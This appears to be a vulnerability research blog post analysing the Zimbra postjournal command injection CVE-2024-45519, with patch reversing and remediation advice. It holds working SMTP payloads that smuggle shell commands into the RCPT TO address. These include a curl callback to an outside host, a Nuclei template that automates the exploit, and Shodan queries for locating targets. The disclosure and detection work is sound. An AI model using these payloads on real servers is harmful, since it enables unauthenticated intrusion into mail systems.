Table of Contents
Zimbra, a widely used email and collaboration platform, recently released a critical security update addressing a severe vulnerability in its postjournal
service. This vulnerability, identified as CVE-2024-45519, allows unauthenticated attackers to execute arbitrary commands on affected Zimbra installations. In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually. We also discuss the potential impact and emphasize the importance of timely patch application.
What's in the Patch?
We discovered that Zimbra uses the S3 bucket s3://repo.zimbra.com
to host both packages and patches. Fortunately, the bucket had a public listing, which allowed us to locate the necessary patch.
To begin our analysis, we obtained the patched version of the postjournal
binary from the latest Zimbra patch package: Zimbra Patch Package
By extracting the .deb
file, we retrieved the patched postjournal
binary located at ./opt/zimbra/lib/patches/postjournal
.
Instead of performing a binary diff, we opted for a quicker approach by reversing the binary using Ghidra. We searched for critical functions such as system
and exec*
and discovered a function named run_command
. This function was referenced by read_maps
, prompting us to examine read_maps
and trace its references up to the main
function.
We established the following method call hierarchy:
c
1main
2└── msg_handler(MSG *msg)
3 └── expand_addrs
4 └── address_lookup
5 └── map_address
6 └── read_addr_maps
7 └── read_maps
8 └── run_command
9 └── execvp
In the patched version, execvp
is used, and user input is passed as an array, which prevents direct command injection. Additionally, we noticed the introduction of an is_safe_input
function that sanitizes the input before it's passed to execvp
. We examined this function to identify any special characters that might lead to command injection.
c
1int is_safe_input(char *input) {
2 if (input == NULL || *input == '\0') {
3 return 0;
4 }
5 for (char *c = input; *c != '\0'; c++) {
6 if (*c == ';' || *c == '&' || *c == '|' || *c == '`' || *c == '$' ||
7 *c == '(' || *c == ')' || *c == '<' || *c == '>' || *c == '\\' ||
8 *c == '\'' || *c == '\"' || *c == '\n' || *c == '\r') {
9 return 0;
10 }
11 }
12 return 1;
13}
Diffing Binaries
To understand the vulnerability in the unpatched version, we obtained the original software: Unpatched Zimbra Package
We set up this version on our test server and reversed the postjournal
binary. Surprisingly, we found that there were no calls to execvp
or a function named run_command
. Instead, in the read_maps
function, a direct call to popen
was made, passing a string constructed with our input without any sanitization.
Walkthrough of the postjournal Binary
Inside the main
function, when an SMTP connection is initiated, the msg_handler
function is called, which in turn processes the MSG
object.
The msg_receiver
function calls the msg_handler
function which extracts the recipient addresses from the RCPT TO:<...>
SMTP command which is stored in msg->rcpt_addresses
variable. The value of msg->rcpt_addresses
is set inside msg_receiver
by the function rcpt_to_handler
.
Then the expand_addrs
function is called with these addresses.
Inside expand_addrs
, the address_lookup
function is invoked with the same addresses.
Inside the address_lookup
function, the map_address
function is called.
This leads to read_addr_maps
, which eventually calls read_maps
.
Within read_maps
, a command string is constructed using a format string that includes the user-provided address.
Finally, popen
is called with the constructed command string, directly using our input.
Dynamic Binary Analysis via GDB
Based on our static analysis, we believed the following SMTP message should result in command injection on the postjournal service running on port 10027 (on loopback interface)
bash
1EHLO localhost
2MAIL FROM: <aaaa@mail.domain.com>
3RCPT TO: <"aabbb;touch${IFS}/tmp/pwn;"@mail.domain.com>
4DATA
5aaa
6.
To validate our findings, we set a breakpoint in GDB at read_maps
and then just before the popen
call in read_maps
.
We inspected the cmd
argument passed to popen
:
Notably, the cmd
argument is enclosed in double quotes, which would prevent successful command injection using simple shell metacharacters. However, we realised that this could be bypassed using the $()
syntax.
We crafted our input to exploit this:
As a result, we successfully executed arbitrary commands, confirming the creation of the /tmp/pwn
file.
Proof of Concept (PoC)
We tested the exploit directly on the postjournal
service via port 10027
using the following SMTP commands:
kotlin
1EHLO localhost
2MAIL FROM: <aaaa@mail.domain.com>
3RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
4DATA
5Test message
6.
Enabling postjournal and Exploiting via SMTP
Testing the exploit on port 10027
worked as expected. However, when attempting the same exploit over SMTP port 25
, it was initially unsuccessful.
After some investigation, we discovered that the postjournal
service is not enabled by default. To enable it, we executed:
bash
1zmlocalconfig -e postjournal_enabled=true
2zmcontrol restart
With postjournal
enabled, we reran our exploit against SMTP port 25
and observed successful command execution. Initially, we conducted this test on our own Zimbra server for proof of concept. However, when attempting to exploit the vulnerability remotely over the internet, we faced failures.
Limitations
Upon reviewing the logs, we noticed that the RCPT address was being rejected due to the smtpd_relay_restrictions
setting in postconf
, which defaults to:
bash
1smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination
This configuration allows sending mail only if the client is authenticated or if the client is within the mynetworks
list. Our initial PoC worked internally because we were connecting from the server itself.
We checked the mynetworks
setting:
bash
1postconf mynetworks
The output revealed:
javascript
1mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20
Surprisingly, on our instance,the default configuration included a /20
CIDR range of our public IP address in mynetworks
. This means that the exploit could still be performed remotely if the postjournal
service is enabled and the attacker is within the allowed network range.
Automating vulnerability detection with Nuclei
This Remote Command Injection vulnerability can be identified by utilizing the below Nuclei template:
yaml
1id: CVE-2024-45519
2
3info:
4 name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
5 author: pdresearch,iamnoooob,parthmalhotra,ice3man543
6 severity: critical
7 description: |
8 SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system’s integrity and confidentiality.
9 reference:
10 - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
11 classification:
12 cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
13 metadata:
14 vendor: synacor
15 product: zimbra_collaboration_suite
16 shodan-query:
17 - http.title:"zimbra collaboration suite"
18 - http.title:"zimbra web client sign in"
19 - http.favicon.hash:1624375939
20 fofa-query:
21 - title="zimbra web client sign in"
22 - title="zimbra collaboration suite"
23 tags: cve,cve2024,rce,zimbra
24
25javascript:
26 - pre-condition: |
27 isPortOpen(Host,Port);
28 code: |
29 let m = require('nuclei/net');
30 let address = Host+":"+Port;
31 let conn;
32 conn= m.Open('tcp', address)
33 conn.Send('EHLO localhost\r\n');
34 conn.RecvString()
35 conn.Send('MAIL FROM: <aaaa@mail.domain.com>\r\n');
36 conn.RecvString()
37 conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');
38 conn.RecvString()
39 conn.Send('DATA\r\n');
40 conn.RecvString()
41 conn.Send('aaa\r\n');
42 conn.RecvString()
43 conn.Send('.\r\n');
44 resp = conn.RecvString()
45 conn.Send('QUIT\r\n');
46 conn.Close()
47 resp
48 args:
49 Host: "{{Host}}"
50 Port: 25
51 oast: "{{interactsh-url}}"
52
53 matchers-condition: and
54 matchers:
55 - type: word
56 part: interactsh_protocol
57 words:
58 - "http"
59
60 - type: word
61 words:
62 - "message delivered"
We've also created a pull request to include this template in the public nuclei-templates
GitHub repository.
Conclusion
Our analysis of CVE-2024-45519 highlights a critical vulnerability in Zimbra's postjournal
service that allows unauthenticated remote command execution. The vulnerability stems from unsanitized user input being passed to popen
in the unpatched version, enabling attackers to inject arbitrary commands.
While the patched version introduces input sanitization and replaces popen
with execvp
, mitigating direct command injection, it's crucial for administrators to apply the latest patches promptly. Additionally, understanding and correctly configuring the mynetworks
parameter is essential, as misconfigurations could expose the service to external exploitation.
We strongly recommend that all Zimbra administrators:
- Verify that
postjournal
is disabled if not required. - Ensure that
mynetworks
is correctly configured to prevent unauthorised access. - Apply the latest security updates provided by Zimbra.
By staying vigilant and proactive, organisations can protect themselves against such critical vulnerabilities and maintain the security of their email and collaboration platforms.
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.